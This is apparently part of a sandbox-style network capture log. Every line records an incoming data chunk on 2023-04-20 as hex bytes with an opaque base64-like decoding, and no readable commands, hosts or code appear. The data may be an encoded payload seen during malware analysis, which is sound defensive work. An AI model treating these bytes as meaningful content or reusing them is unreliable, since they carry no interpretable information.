2023-04-20 23:03:01 UTC	5812	IN	Data Raw: 49 45 36 53 4a 51 4a 51 66 2f 31 37 4e 58 44 4c 71 36 4a 2b 72 6f 67 46 37 74 36 62 6a 44 64 70 36 43 2b 34 46 42 4e 32 37 6c 61 35 4b 72 55 43 6f 33 35 45 6b 31 73 58 4d 47 6d 31 76 57 76 4c 71 58 4a 50 31 48 44 6c 58 62 34 77 7a 38 61 6b 54 62 77 59 59 5a 62 69 63 6d 36 2f 58 44 4d 4d 54 68 35 6f 56 78 4e 71 30 38 76 55 57 44 53 46 32 48 38 34 52 49 43 65 4b 4e 33 63 65 39 6a 5a 43 63 61 58 46 4d 2f 73 64 30 2f 75 39 47 56 76 4b 50 69 6a 42 49 72 59 51 42 4a 47 51 2f 2f 34 44 75 32 2b 56 4b 79 46 51 76 4e 76 6b 5a 30 35 32 61 71 65 53 6c 42 4e 71 4e 33 76 62 38 78 46 54 75 45 6c 77 38 56 42 70 4c 57 6c 70 33 66 58 51 51 54 6b 6b 67 77 4c 54 79 78 71 63 6f 34 68 41 54 6b 76 59 2b 43 52 43 49 62 71 48 63 6c 4a 4d 71 5a 31 65 73 39 43 56 62 72 37 71 38 38 Data Ascii: IE6SJQJQf/17NXDLq6J+rogF7t6bjDdp6C+4FBN27la5KrUCo35Ek1sXMGm1vWvLqXJP1HDlXb4wz8akTbwYYZbicm6/XDMMTh5oVxNq08vUWDSF2H84RICeKN3ce9jZCcaXFM/sd0/u9GVvKPijBIrYQBJGQ//4Du2+VKyFQvNvkZ052aqeSlBNqN3vb8xFTuElw8VBpLWlp3fXQQTkkgwLTyxqco4hATkvY+CRCIbqHclJMqZ1es9CVbr7q88
2023-04-20 23:03:01 UTC	5828	IN	Data Raw: 54 47 37 5a 41 44 52 50 33 72 7a 41 53 37 58 72 71 49 70 34 67 4a 4f 56 49 74 77 4a 57 2f 58 51 6b 62 74 41 39 32 45 4a 35 70 61 52 4a 4c 31 53 78 69 33 74 67 77 78 33 6a 6b 4a 4f 4a 6a 51 33 6b 7a 55 66 6e 4f 2b 6a 67 67 70 4d 64 6d 31 76 51 39 4f 6a 69 6a 2f 6e 58 61 48 65 36 38 78 44 2b 42 77 67 35 63 43 73 76 6c 33 4a 6a 2f 50 4e 67 37 70 41 4e 79 39 32 62 32 66 62 79 33 34 66 30 35 79 62 7a 33 53 45 52 45 4f 76 70 50 58 67 33 37 6f 33 69 36 4d 51 31 4e 6f 59 6c 71 77 35 78 4f 4a 53 6b 65 50 54 42 56 70 73 51 38 50 53 4d 45 64 52 77 36 72 4a 4a 55 78 4f 42 58 41 5a 4a 56 53 6b 37 32 75 63 34 6a 50 6c 67 69 52 4b 58 37 49 4b 6f 77 6d 41 43 47 33 6f 73 56 72 34 39 39 66 43 56 4b 38 4f 69 41 58 6a 64 42 72 79 61 58 6f 46 41 43 70 70 2f 31 74 74 45 57 62 Data Ascii: TG7ZADRP3rzAS7XrqIp4gJOVItwJW/XQkbtA92EJ5paRJL1Sxi3tgwx3jkJOJjQ3kzUfnO+jggpMdm1vQ9Ojij/nXaHe68xD+Bwg5cCsvl3Jj/PNg7pANy92b2fby34f05ybz3SEREOvpPXg37o3i6MQ1NoYlqw5xOJSkePTBVpsQ8PSMEdRw6rJJUxOBXAZJVSk72uc4jPlgiRKX7IKowmACG3osVr499fCVK8OiAXjdBryaXoFACpp/1ttEWb
2023-04-20 23:03:01 UTC	5844	IN	Data Raw: 4a 57 72 6a 79 72 45 61 51 68 6c 75 6d 70 75 4b 57 6f 79 4c 6f 32 48 53 77 76 58 39 36 6a 4a 2b 6b 4a 66 73 69 62 4b 32 33 54 52 74 4e 39 39 76 49 66 76 4e 79 34 61 58 59 50 37 4a 48 38 66 4b 55 65 50 6a 67 36 4f 4a 45 56 48 71 37 65 73 6b 62 6a 6e 71 46 52 78 4c 30 4d 4f 53 47 7a 62 47 72 31 35 6b 44 55 70 47 2f 58 36 59 64 4d 30 6d 58 71 65 43 42 6b 4f 41 6d 66 47 37 73 53 31 65 30 55 4e 61 38 67 4c 42 4c 6d 63 48 44 49 41 52 6f 70 42 79 68 6f 57 62 2b 74 4b 51 77 4e 44 62 42 6c 36 30 4c 75 48 72 6f 6c 71 34 30 53 2b 7a 41 42 75 36 79 49 71 48 68 65 75 78 4f 43 6e 45 43 76 67 37 49 4d 75 2f 43 70 75 65 38 59 4c 68 6c 61 4b 46 39 44 71 53 78 4b 64 4a 4d 6f 6d 67 34 33 56 4c 65 52 31 50 36 5a 36 38 7a 74 50 5a 67 68 4c 36 74 63 79 41 30 4a 64 69 51 42 44 Data Ascii: JWrjyrEaQhlumpuKWoyLo2HSwvX96jJ+kJfsibK23TRtN99vIfvNy4aXYP7JH8fKUePjg6OJEVHq7eskbjnqFRxL0MOSGzbGr15kDUpG/X6YdM0mXqeCBkOAmfG7sS1e0UNa8gLBLmcHDIARopByhoWb+tKQwNDbBl60LuHrolq40S+zABu6yIqHheuxOCnECvg7IMu/Cpue8YLhlaKF9DqSxKdJMomg43VLeR1P6Z68ztPZghL6tcyA0JdiQBD
2023-04-20 23:03:01 UTC	5860	IN	Data Raw: 4f 6a 5a 37 72 46 37 2f 70 72 46 6e 6b 45 70 52 62 70 61 70 6a 75 48 48 31 6a 2f 47 4c 76 38 44 6e 47 71 36 6c 66 34 6e 48 4a 73 67 79 4c 57 6a 43 64 55 61 46 42 36 38 32 4c 51 41 4e 51 31 49 76 30 53 72 44 6e 70 72 5a 2b 48 57 6d 4e 31 52 34 72 2f 58 63 65 34 4e 64 6c 6c 47 56 2b 47 62 52 59 41 50 6e 47 43 36 46 37 75 44 63 4e 68 53 66 45 53 2f 6a 32 30 39 65 6b 6c 6f 48 68 6a 4f 46 2f 78 2f 78 79 69 46 52 66 2b 5a 39 38 64 58 38 63 6c 67 59 58 67 41 73 54 39 66 4f 39 52 75 49 56 6a 73 71 5a 6d 78 51 34 71 7a 2f 72 59 74 37 6d 45 5a 44 6c 45 43 71 77 68 54 2b 68 68 44 74 6f 38 38 7a 4a 76 57 2f 62 74 2f 53 4a 52 4c 66 5a 47 69 76 35 33 52 38 47 71 33 5a 49 57 2f 2b 4c 53 31 68 34 2f 7a 71 34 53 4d 33 51 45 33 67 6f 6b 47 54 55 78 6c 74 72 61 32 65 64 6e Data Ascii: OjZ7rF7/prFnkEpRbpapjuHH1j/GLv8DnGq6lf4nHJsgyLWjCdUaFB682LQANQ1Iv0SrDnprZ+HWmN1R4r/Xce4NdllGV+GbRYAPnGC6F7uDcNhSfES/j209ekloHhjOF/x/xyiFRf+Z98dX8clgYXgAsT9fO9RuIVjsqZmxQ4qz/rYt7mEZDlECqwhT+hhDto88zJvW/bt/SJRLfZGiv53R8Gq3ZIW/+LS1h4/zq4SM3QE3gokGTUxltra2edn
2023-04-20 23:03:01 UTC	5876	IN	Data Raw: 71 45 61 6c 57 57 68 49 4e 6e 48 45 7a 52 41 4b 42 64 65 45 54 75 56 66 36 59 68 74 7a 42 69 2b 6f 76 45 2f 76 4d 70 44 4e 64 6e 62 4d 56 42 43 4f 4a 36 7a 6a 4d 30 31 5a 4e 7a 6c 30 50 76 58 65 45 56 6c 64 4a 42 41 52 42 7a 5a 6f 6b 56 54 77 54 43 77 75 34 6b 59 64 30 2f 4d 30 72 77 49 46 35 57 43 55 65 7a 77 77 65 68 44 4e 36 54 39 4f 68 7a 79 54 75 76 31 42 67 59 77 36 5a 49 36 38 70 5a 58 43 4c 58 63 46 4a 44 55 61 73 41 72 38 4e 66 78 7a 52 6c 2f 4e 37 2f 69 64 55 6f 59 2b 6d 53 55 37 71 2f 46 2f 6a 4f 57 4c 31 32 63 38 4a 62 59 38 47 61 33 57 37 55 35 46 66 54 34 75 5a 4f 4b 74 68 42 55 36 35 43 69 66 43 59 62 56 4f 6f 4d 75 56 67 50 52 39 69 78 7a 42 4b 35 61 51 44 63 47 34 64 32 68 53 63 6b 35 39 33 4a 6b 71 4a 53 75 65 6d 41 4a 71 64 65 74 48 48 Data Ascii: qEalWWhINnHEzRAKBdeETuVf6YhtzBi+ovE/vMpDNdnbMVBCOJ6zjM01ZNzl0PvXeEVldJBARBzZokVTwTCwu4kYd0/M0rwIF5WCUezwwehDN6T9OhzyTuv1BgYw6ZI68pZXCLXcFJDUasAr8NfxzRl/N7/idUoY+mSU7q/F/jOWL12c8JbY8Ga3W7U5FfT4uZOKthBU65CifCYbVOoMuVgPR9ixzBK5aQDcG4d2hSck593JkqJSuemAJqdetHH
2023-04-20 23:03:01 UTC	5892	IN	Data Raw: 70 6a 7a 7a 58 69 36 71 2f 35 39 73 35 61 52 61 42 53 45 51 51 45 76 70 45 44 4c 6f 42 6d 32 62 4a 6f 34 78 50 63 69 47 33 39 66 6a 54 41 30 64 7a 65 75 32 62 75 61 47 51 6d 53 39 62 62 58 6c 53 4a 7a 4e 37 31 2f 62 48 56 48 32 46 6b 65 70 2f 62 67 2f 6c 74 6d 78 72 7a 2b 49 4e 57 50 30 51 64 46 67 47 63 6a 72 65 77 33 50 54 6d 53 74 73 47 79 67 63 48 34 4a 4a 64 36 6a 50 6f 52 2f 50 64 4e 54 32 56 6d 36 73 2b 59 7a 45 37 77 2b 64 62 61 51 49 44 48 34 58 74 79 46 6d 63 2f 31 34 6b 55 34 76 73 73 5a 44 2f 66 4f 4c 44 73 2f 66 65 6c 2b 71 54 6d 34 2b 63 55 49 5a 45 35 6c 42 7a 73 48 33 33 6d 6e 35 51 37 34 6a 6b 4f 70 51 62 7a 69 37 66 70 53 69 57 41 37 62 54 43 79 6f 4f 4a 6b 79 70 2f 39 62 65 63 47 57 36 71 51 62 43 43 33 41 6d 42 32 4c 50 67 5a 4c 45 35 Data Ascii: pjzzXi6q/59s5aRaBSEQQEvpEDLoBm2bJo4xPciG39fjTA0dzeu2buaGQmS9bbXlSJzN71/bHVH2Fkep/bg/ltmxrz+INWP0QdFgGcjrew3PTmStsGygcH4JJd6jPoR/PdNT2Vm6s+YzE7w+dbaQIDH4XtyFmc/14kU4vssZD/fOLDs/fel+qTm4+cUIZE5lBzsH33mn5Q74jkOpQbzi7fpSiWA7bTCyoOJkyp/9becGW6qQbCC3AmB2LPgZLE5
2023-04-20 23:03:01 UTC	5908	IN	Data Raw: 4f 71 78 63 44 58 49 6c 61 52 75 6c 43 2b 30 4b 36 5a 61 35 4b 49 58 36 45 64 78 77 75 62 37 53 53 46 76 4e 48 31 69 4e 66 6b 38 74 64 31 35 2b 68 4c 78 6c 79 6a 39 48 39 30 58 6e 50 4a 6b 44 63 64 63 38 48 65 37 4f 73 45 39 64 32 48 70 32 5a 79 43 6a 6d 58 72 2f 6b 72 75 43 76 4e 77 79 6d 39 73 54 54 46 57 56 76 49 54 79 79 6c 52 2b 4a 46 77 51 41 64 30 66 32 46 6e 6e 6f 71 55 4d 69 6d 51 31 63 4e 6c 68 71 56 65 49 50 32 42 49 42 64 4e 79 62 59 41 67 35 4f 68 6a 71 46 43 4b 72 75 78 43 4e 6b 32 31 41 6d 78 2b 41 35 72 70 65 50 33 75 56 41 78 31 2f 73 50 58 31 33 49 50 37 4b 55 43 2b 52 45 79 49 6e 30 47 7a 41 67 61 79 42 34 71 44 6f 41 68 62 7a 64 46 64 64 4f 6a 78 34 71 4f 50 41 4f 4f 54 74 73 39 68 35 44 34 4c 45 42 62 6b 33 57 43 62 47 50 51 6e 5a 31 Data Ascii: OqxcDXIlaRulC+0K6Za5KIX6Edxwub7SSFvNH1iNfk8td15+hLxlyj9H90XnPJkDcdc8He7OsE9d2Hp2ZyCjmXr/kruCvNwym9sTTFWVvITyylR+JFwQAd0f2FnnoqUMimQ1cNlhqVeIP2BIBdNybYAg5OhjqFCKruxCNk21Amx+A5rpeP3uVAx1/sPX13IP7KUC+REyIn0GzAgayB4qDoAhbzdFddOjx4qOPAOOTts9h5D4LEBbk3WCbGPQnZ1
2023-04-20 23:03:01 UTC	5924	IN	Data Raw: 6c 52 31 6e 4c 35 6f 42 4e 72 55 6a 44 76 47 47 69 69 78 77 42 65 42 64 66 65 6f 66 5a 65 47 67 36 62 79 71 54 71 72 49 56 69 42 71 52 47 49 66 71 37 5a 46 2b 45 46 68 45 31 48 2b 4b 4d 38 37 56 4f 70 30 79 51 6f 52 66 58 5a 30 48 55 38 69 6b 44 5a 78 7a 52 68 72 4c 43 52 6f 4a 6a 61 4e 68 64 47 47 48 6c 76 57 76 64 45 70 64 67 65 56 35 79 48 58 31 68 5a 6c 4f 55 72 7a 39 64 52 2b 47 64 72 64 4e 52 33 4a 4c 6b 57 77 49 4c 57 76 5a 67 74 70 69 4e 32 6e 6c 68 46 6c 35 4e 33 46 68 45 67 51 36 6b 69 54 68 51 7a 61 62 57 37 37 7a 72 68 4b 54 45 55 53 39 52 6f 56 39 6e 33 2f 45 36 38 68 58 43 4d 4d 50 42 6a 65 31 6a 6f 66 65 57 2b 71 76 6b 49 53 38 36 76 51 57 63 58 61 58 4f 79 58 56 4c 66 41 4f 74 35 68 53 7a 71 35 68 36 71 41 68 57 35 79 62 37 52 58 68 71 63 Data Ascii: lR1nL5oBNrUjDvGGiixwBeBdfeofZeGg6byqTqrIViBqRGIfq7ZF+EFhE1H+KM87VOp0yQoRfXZ0HU8ikDZxzRhrLCRoJjaNhdGGHlvWvdEpdgeV5yHX1hZlOUrz9dR+GdrdNR3JLkWwILWvZgtpiN2nlhFl5N3FhEgQ6kiThQzabW77zrhKTEUS9RoV9n3/E68hXCMMPBje1jofeW+qvkIS86vQWcXaXOyXVLfAOt5hSzq5h6qAhW5yb7RXhqc
2023-04-20 23:03:01 UTC	5940	IN	Data Raw: 46 79 57 51 37 75 44 5a 38 2f 78 33 69 67 52 33 6e 63 32 42 45 4c 46 6e 46 33 65 4c 52 4c 37 4b 5a 67 6d 50 56 56 6e 4b 2b 50 52 38 2f 4e 39 79 31 5a 5a 58 74 57 78 52 2b 68 68 6b 79 64 33 77 4c 47 43 4d 57 59 37 59 6b 74 4f 50 6f 49 74 6a 5a 37 58 63 62 31 58 4f 76 59 36 37 5a 73 4b 64 65 64 4a 6a 41 35 4c 62 66 55 58 66 6d 37 42 4d 51 2f 37 73 51 6f 32 4f 68 5a 36 39 36 2f 46 67 79 6d 46 46 71 78 41 54 41 59 74 43 54 61 51 77 4a 67 73 79 56 73 52 4f 56 47 42 63 6a 64 72 47 77 4a 47 69 70 42 49 78 37 75 53 35 68 37 37 35 63 70 69 79 65 75 35 47 44 6b 31 61 75 45 77 67 37 68 6f 53 33 62 51 69 6d 78 4e 4b 32 65 6b 6e 33 7a 56 2f 77 37 6d 57 47 7a 43 49 66 56 66 49 6d 76 65 46 2f 70 67 4e 45 4a 77 42 70 4e 78 65 54 33 75 53 2b 4c 77 78 57 78 5a 76 47 32 5a Data Ascii: FyWQ7uDZ8/x3igR3nc2BELFnF3eLRL7KZgmPVVnK+PR8/N9y1ZZXtWxR+hhkyd3wLGCMWY7YktOPoItjZ7Xcb1XOvY67ZsKdedJjA5LbfUXfm7BMQ/7sQo2OhZ696/FgymFFqxATAYtCTaQwJgsyVsROVGBcjdrGwJGipBIx7uS5h775cpiyeu5GDk1auEwg7hoS3bQimxNK2ekn3zV/w7mWGzCIfVfImveF/pgNEJwBpNxeT3uS+LwxWxZvG2Z
2023-04-20 23:03:01 UTC	5956	IN	Data Raw: 67 57 78 58 66 72 6c 74 47 7a 67 55 4d 59 37 4c 6b 6c 70 4f 7a 57 53 6a 6a 38 6b 53 59 4b 47 47 55 48 4c 5a 39 4d 32 49 31 78 2f 45 6f 66 49 35 61 5a 58 4e 70 69 36 42 68 57 67 6f 5a 62 6d 76 51 32 50 78 41 72 6b 47 36 54 32 59 43 70 44 36 44 67 56 4d 4c 69 33 4f 55 37 52 4c 39 74 39 71 32 4c 6e 44 72 79 52 6f 43 65 75 38 4f 6e 47 30 59 43 56 37 69 57 79 59 67 6f 77 36 51 56 39 50 37 46 69 50 63 30 74 73 69 77 4b 53 53 59 59 77 77 68 57 34 6a 39 32 61 67 74 44 4d 4b 49 75 46 65 51 48 31 41 32 2b 30 41 2f 43 79 36 5a 68 58 43 36 34 5a 56 38 78 37 61 42 59 52 71 47 41 52 31 55 54 4e 31 39 6c 78 30 6f 4d 47 74 76 48 35 58 34 68 67 5a 32 73 6f 34 49 67 55 73 4b 70 42 2b 48 4d 34 67 38 4c 57 78 78 61 7a 45 51 78 63 66 66 6b 55 36 75 76 74 62 66 68 2f 32 49 72 Data Ascii: gWxXfrltGzgUMY7LklpOzWSjj8kSYKGGUHLZ9M2I1x/EofI5aZXNpi6BhWgoZbmvQ2PxArkG6T2YCpD6DgVMLi3OU7RL9t9q2LnDryRoCeu8OnG0YCV7iWyYgow6QV9P7FiPc0tsiwKSSYYwwhW4j92agtDMKIuFeQH1A2+0A/Cy6ZhXC64ZV8x7aBYRqGAR1UTN19lx0oMGtvH5X4hgZ2so4IgUsKpB+HM4g8LWxxazEQxcffkU6uvtbfh/2Ir
2023-04-20 23:03:01 UTC	5972	IN	Data Raw: 2f 61 34 6b 38 79 30 7a 62 39 58 78 41 43 49 65 7a 47 37 72 47 6d 64 58 66 35 50 4b 78 70 65 4c 70 71 78 78 35 38 58 64 4e 44 46 50 61 55 70 38 71 36 62 31 44 63 47 4b 44 74 4e 6b 54 30 36 50 4c 57 36 4b 68 62 52 61 43 36 52 62 48 70 68 2f 72 2f 39 38 38 50 77 6b 67 2f 6b 78 74 64 70 43 62 58 51 75 77 6b 34 2b 7a 2f 70 57 41 65 72 58 4e 55 38 62 4a 2b 42 45 73 6e 7a 68 67 58 33 70 55 39 68 56 4c 53 53 63 6e 66 63 44 6a 2f 75 46 52 68 79 36 31 62 41 67 4c 6b 57 69 34 73 48 32 57 5a 5a 79 49 4b 6a 77 63 54 68 42 4f 52 53 49 56 44 4a 57 56 4c 4b 67 57 47 65 6a 57 51 6e 69 68 71 4f 4f 6f 50 78 75 66 74 4b 62 7a 73 36 66 38 51 72 70 4d 74 54 4c 49 76 61 52 4e 42 48 4c 65 79 64 79 70 51 73 4a 77 4b 52 51 32 4d 6e 6e 30 53 42 63 43 54 58 2b 59 75 78 37 6e 4d 6e Data Ascii: /a4k8y0zb9XxACIezG7rGmdXf5PKxpeLpqxx58XdNDFPaUp8q6b1DcGKDtNkT06PLW6KhbRaC6RbHph/r/988Pwkg/kxtdpCbXQuwk4+z/pWAerXNU8bJ+BEsnzhgX3pU9hVLSScnfcDj/uFRhy61bAgLkWi4sH2WZZyIKjwcThBORSIVDJWVLKgWGejWQnihqOOoPxuftKbzs6f8QrpMtTLIvaRNBHLeydypQsJwKRQ2Mnn0SBcCTX+Yux7nMn
2023-04-20 23:03:01 UTC	5988	IN	Data Raw: 4c 76 63 4d 32 37 48 58 61 53 49 66 4f 6b 50 45 63 2f 2f 41 44 59 44 79 57 62 51 64 69 50 76 61 4e 67 73 56 58 70 76 6b 30 43 66 34 2f 65 59 6b 75 30 6d 34 65 57 72 42 64 42 4e 49 75 4d 66 4d 68 70 39 37 66 71 67 4b 35 48 73 47 76 73 59 70 62 57 44 4f 4d 75 77 2b 59 79 4b 66 43 6b 30 68 43 78 73 73 51 42 66 41 4b 77 69 35 6b 30 72 2b 44 62 4b 46 73 6c 63 45 39 33 6e 31 57 51 2b 69 41 72 6e 49 57 34 66 41 76 73 64 61 44 6f 2f 2f 47 31 4f 64 79 73 70 65 72 39 43 32 66 73 35 54 6a 31 4d 4c 6c 32 49 47 6e 44 77 7a 42 4b 4f 39 32 33 30 51 2f 6d 74 49 77 5a 4c 59 74 6f 4a 72 47 4a 68 58 36 4f 4b 62 72 77 66 49 34 58 52 78 50 68 31 65 79 66 4a 6f 79 2f 39 67 4a 38 68 66 47 43 46 30 65 51 64 55 32 4c 6a 45 7a 4c 48 6d 44 39 57 59 37 43 4e 56 5a 58 2f 36 46 36 4d Data Ascii: LvcM27HXaSIfOkPEc//ADYDyWbQdiPvaNgsVXpvk0Cf4/eYku0m4eWrBdBNIuMfMhp97fqgK5HsGvsYpbWDOMuw+YyKfCk0hCxssQBfAKwi5k0r+DbKFslcE93n1WQ+iArnIW4fAvsdaDo//G1Odysper9C2fs5Tj1MLl2IGnDwzBKO9230Q/mtIwZLYtoJrGJhX6OKbrwfI4XRxPh1eyfJoy/9gJ8hfGCF0eQdU2LjEzLHmD9WY7CNVZX/6F6M
2023-04-20 23:03:01 UTC	6004	IN	Data Raw: 4e 64 34 36 43 43 38 51 53 4f 35 5a 32 79 2b 64 75 78 70 4a 68 44 4e 75 54 4b 59 6d 7a 50 33 4f 38 4b 74 38 39 77 78 50 55 4c 62 79 4d 66 51 76 38 69 35 39 57 71 35 31 4e 39 31 77 35 52 63 67 47 32 6b 32 67 48 45 35 63 37 53 55 45 54 72 43 57 7a 64 51 39 59 30 62 41 44 38 6b 68 57 54 30 6e 6f 7a 5a 46 6e 55 51 39 33 4a 6b 36 39 35 51 34 76 53 47 65 7a 62 65 4f 37 79 38 37 50 39 45 46 36 67 69 6b 6f 4a 59 41 35 34 63 2f 47 78 42 37 39 7a 69 75 77 6e 69 71 75 51 59 65 42 39 59 4e 31 53 64 73 6c 66 6c 57 78 79 35 69 37 72 37 57 50 7a 66 66 41 63 75 69 4f 61 6c 35 66 67 4f 68 4a 72 4c 67 2f 43 6c 37 72 41 39 79 39 56 67 72 67 42 4d 70 6f 4c 36 44 44 46 4c 78 6e 2f 6c 43 50 37 76 79 66 54 39 56 35 39 74 6b 73 30 79 6e 55 6a 64 58 45 56 5a 49 59 75 43 6f 66 51 Data Ascii: Nd46CC8QSO5Z2y+duxpJhDNuTKYmzP3O8Kt89wxPULbyMfQv8i59Wq51N91w5RcgG2k2gHE5c7SUETrCWzdQ9Y0bAD8khWT0nozZFnUQ93Jk695Q4vSGezbeO7y87P9EF6gikoJYA54c/GxB79ziuwniquQYeB9YN1SdslflWxy5i7r7WPzffAcuiOal5fgOhJrLg/Cl7rA9y9VgrgBMpoL6DDFLxn/lCP7vyfT9V59tks0ynUjdXEVZIYuCofQ
2023-04-20 23:03:01 UTC	6020	IN	Data Raw: 31 47 69 42 71 73 70 35 4d 67 4d 49 31 77 74 4a 34 37 39 6c 62 72 34 77 55 74 4d 67 34 44 58 63 38 7a 33 74 49 54 6f 4a 32 4d 48 67 41 51 4e 47 68 6f 66 32 4f 36 51 76 72 75 4a 63 37 35 38 6c 41 42 43 73 58 75 6f 42 70 43 38 76 46 6a 4f 4c 30 43 42 37 4a 52 42 6b 6e 51 74 71 4d 5a 36 6d 54 47 65 68 44 68 37 2f 2b 6e 58 37 77 33 34 63 42 71 72 30 65 78 7a 39 50 58 70 33 50 6f 45 38 63 44 35 43 38 59 55 71 57 6c 46 63 63 59 65 2b 59 42 78 38 55 4f 69 57 62 61 67 32 41 69 2f 34 50 39 77 6b 70 54 50 4e 73 65 55 65 50 58 37 6e 58 61 37 44 36 51 65 2b 6a 4f 6e 65 69 78 79 72 47 52 59 31 56 63 48 4f 39 6d 62 58 58 37 64 5a 50 32 49 63 77 41 67 41 74 36 4f 62 2b 63 42 75 75 46 42 55 66 48 53 76 6c 6d 74 45 4e 79 38 6e 46 46 65 68 59 62 76 50 59 69 78 65 50 6a 45 Data Ascii: 1GiBqsp5MgMI1wtJ479lbr4wUtMg4DXc8z3tIToJ2MHgAQNGhof2O6QvruJc758lABCsXuoBpC8vFjOL0CB7JRBknQtqMZ6mTGehDh7/+nX7w34cBqr0exz9PXp3PoE8cD5C8YUqWlFccYe+YBx8UOiWbag2Ai/4P9wkpTPNseUePX7nXa7D6Qe+jOneixyrGRY1VcHO9mbXX7dZP2IcwAgAt6Ob+cBuuFBUfHSvlmtENy8nFFehYbvPYixePjE
2023-04-20 23:03:01 UTC	6036	IN	Data Raw: 6c 43 59 45 55 37 48 55 65 64 47 4d 7a 6c 50 4d 70 51 2f 7a 6f 42 70 36 59 78 66 50 70 55 4c 48 2b 6c 53 62 44 57 32 53 58 77 77 37 74 68 63 2b 57 56 32 77 42 65 55 61 76 48 4a 6a 54 44 55 6b 74 53 32 50 2f 6b 43 59 49 54 2b 75 30 73 50 33 52 73 6a 4d 65 78 6d 66 54 45 45 65 35 52 31 50 32 58 37 73 35 6e 4c 76 59 4a 64 72 4f 6a 62 50 67 74 62 69 50 43 77 33 6e 56 49 70 77 39 54 45 6c 74 79 50 4c 35 67 63 43 4d 48 30 4a 70 50 43 6f 78 34 44 2b 42 47 36 38 54 6a 35 37 63 75 4a 49 4a 44 4b 47 42 6d 65 7a 64 7a 31 6c 34 7a 72 32 75 6c 70 36 56 54 6d 31 77 43 56 38 46 65 72 75 45 5a 72 44 55 4c 49 31 30 78 78 73 52 69 58 49 59 38 74 57 57 59 55 43 74 5a 6b 65 33 4e 46 35 4a 6e 64 76 31 48 59 55 35 72 77 33 5a 67 31 50 57 4c 61 33 66 42 35 5a 30 58 4a 68 56 42 Data Ascii: lCYEU7HUedGMzlPMpQ/zoBp6YxfPpULH+lSbDW2SXww7thc+WV2wBeUavHJjTDUktS2P/kCYIT+u0sP3RsjMexmfTEEe5R1P2X7s5nLvYJdrOjbPgtbiPCw3nVIpw9TEltyPL5gcCMH0JpPCox4D+BG68Tj57cuJIJDKGBmezdz1l4zr2ulp6VTm1wCV8FeruEZrDULI10xxsRiXIY8tWWYUCtZke3NF5Jndv1HYU5rw3Zg1PWLa3fB5Z0XJhVB
2023-04-20 23:03:01 UTC	6052	IN	Data Raw: 38 75 62 57 50 68 34 56 75 46 73 59 7a 6a 6f 33 43 34 76 73 36 2f 51 52 2f 42 49 6d 65 4d 46 71 42 6d 75 6c 45 62 44 77 6c 6e 41 65 64 78 6c 6c 75 42 75 51 51 30 4f 67 58 2b 6b 61 6b 79 77 2b 69 30 4e 30 4d 6c 4d 51 6b 6d 53 76 67 6b 6e 71 4e 66 42 32 6b 4f 74 33 57 48 47 7a 2f 35 46 54 37 71 61 73 34 6d 36 6b 38 4b 72 68 37 46 76 30 37 56 67 54 32 31 62 5a 38 42 33 39 32 68 56 6e 72 58 35 45 6f 64 6d 55 53 70 71 35 38 74 6e 58 5a 33 37 30 62 6d 33 46 30 51 78 7a 47 2b 6e 6d 36 69 72 73 50 6d 69 36 70 66 48 47 31 4e 61 52 2f 6d 49 2f 71 75 34 6e 53 49 6a 74 4c 74 71 72 31 36 78 38 45 6f 41 56 2f 76 68 79 42 67 68 5a 59 62 36 45 63 6d 69 77 34 34 54 61 72 4e 37 6b 4e 47 2b 50 50 68 4f 38 36 53 38 6d 44 62 52 75 42 66 56 70 36 59 65 35 56 51 50 59 4b 64 59 Data Ascii: 8ubWPh4VuFsYzjo3C4vs6/QR/BImeMFqBmulEbDwlnAedxlluBuQQ0OgX+kakyw+i0N0MlMQkmSvgknqNfB2kOt3WHGz/5FT7qas4m6k8Krh7Fv07VgT21bZ8B392hVnrX5EodmUSpq58tnXZ370bm3F0QxzG+nm6irsPmi6pfHG1NaR/mI/qu4nSIjtLtqr16x8EoAV/vhyBghZYb6Ecmiw44TarN7kNG+PPhO86S8mDbRuBfVp6Ye5VQPYKdY
2023-04-20 23:03:01 UTC	6068	IN	Data Raw: 68 67 71 33 42 6d 39 35 42 6e 55 45 42 7a 41 37 30 6a 4b 33 70 6b 37 41 52 49 74 75 7a 39 61 39 57 6b 52 75 43 38 73 71 4b 33 64 78 56 61 6a 5a 6c 6c 78 52 74 4a 5a 38 52 39 30 57 34 61 74 75 62 64 4a 49 74 31 71 47 6c 37 73 67 4a 50 62 57 6d 51 31 76 7a 77 32 57 70 50 68 68 46 55 4e 4e 32 41 43 4a 79 62 48 79 48 6a 37 4a 54 4f 74 77 4a 6d 76 42 36 2b 30 47 52 77 62 5a 54 54 7a 36 45 75 46 41 77 78 6c 75 58 36 59 4b 65 4e 4c 6a 43 6d 71 36 43 36 48 78 30 50 52 4b 50 75 67 6f 45 32 4a 56 45 4a 6f 47 30 70 57 4a 6c 67 37 6f 4d 77 67 6f 41 69 32 4a 63 63 71 76 32 4f 4c 65 61 6f 4f 4b 43 62 68 49 32 64 47 31 6e 46 41 59 41 70 74 7a 79 69 68 56 45 55 35 42 4b 37 4a 39 59 45 76 30 41 33 33 76 73 72 33 33 4f 6c 57 71 64 6c 72 75 63 59 56 62 76 34 61 71 4d 31 55 Data Ascii: hgq3Bm95BnUEBzA70jK3pk7ARItuz9a9WkRuC8sqK3dxVajZllxRtJZ8R90W4atubdJIt1qGl7sgJPbWmQ1vzw2WpPhhFUNN2ACJybHyHj7JTOtwJmvB6+0GRwbZTTz6EuFAwxluX6YKeNLjCmq6C6Hx0PRKPugoE2JVEJoG0pWJlg7oMwgoAi2Jccqv2OLeaoOKCbhI2dG1nFAYAptzyihVEU5BK7J9YEv0A33vsr33OlWqdlrucYVbv4aqM1U
2023-04-20 23:03:01 UTC	6084	IN	Data Raw: 59 6b 45 38 7a 31 69 6a 73 71 4f 56 67 58 4c 48 4e 4d 35 68 65 6d 59 48 35 32 4a 55 37 65 4e 32 31 48 6d 34 70 4c 76 70 6e 2f 66 67 41 76 61 79 75 34 4b 43 72 76 6a 41 51 64 74 48 30 48 49 41 6b 70 4d 76 6e 76 2b 7a 79 37 62 73 5a 54 32 6b 38 74 55 49 2f 55 56 47 4d 56 76 76 43 39 47 73 76 6e 54 70 70 53 57 62 30 31 76 48 44 79 51 57 48 6d 6e 39 71 4b 47 45 5a 31 62 72 35 42 71 6a 69 7a 52 32 47 47 56 71 4e 52 46 47 35 6f 38 79 37 41 6a 66 59 6b 52 54 32 46 6b 62 55 61 44 7a 63 2f 42 72 63 51 69 4b 2f 61 30 46 6f 75 42 34 74 37 39 57 6d 63 73 4e 48 37 44 37 6b 59 30 66 76 35 52 38 35 6b 67 79 74 6e 4e 78 64 36 5a 70 73 33 34 75 44 5a 38 6b 77 6e 36 65 78 45 58 47 